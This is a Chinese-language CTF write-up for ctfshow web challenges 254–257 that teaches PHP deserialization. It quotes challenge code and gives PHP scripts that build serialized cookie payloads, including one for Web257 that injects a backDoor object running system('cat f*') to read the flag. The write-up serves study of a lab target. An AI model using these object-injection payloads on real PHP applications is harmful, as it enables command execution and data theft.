如果想要学php反序列化,要先弄懂php的类与对象,可以自行去php中文网了解,这里不过多赘述。
Web 254
本题并没有使用序列化和反序列化函数
public $username='xxxxxx';
public $password='xxxxxx';
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
$username=$_GET['username'];
$password=$_GET['password'];
从这几段代码可以得知,如果我们GET传入的username和password都为xxxxxx
那么就可以使 isVip = true
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
这里可知若isVip = true 就可以得到flag
直接传参即可 : ?username=xxxxxx&password=xxxxxx
Web 255
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
可知这里反序列化 user COOKIE传参的值,进行验证
且传入的值需要满足username=xxxxxx,password=xxxxxx,isVip=true
url编码一下
Web256
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
注意这里是 !== 类型相同,但值不同
做法和上题差不多,这里将password删去一个x(保证类型相同值不同即可)
class ctfshowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip='xxxxxx';
}
$a =new ctfshowUser();
echo urlencode(serialize($a)) //urldenode进行url编码
注意这里的GET传参要与COOKIE传参的值相同,这里cookie中的password为五个x则GET传参的值也为五个x
Web257
首先要注意的是 __construct()(构造函数,在创建一个对象时调用)
我们在创建ctfShowUser的对象时会调用到这个函数
因此我们要在创建对象时进行命令执行
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class='backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$ctfShowUserObj = new ctfShowUser();
$a = serialize($ctfShowUserObj);
echo urlencode($a);
?>
Ctrl+U查看flag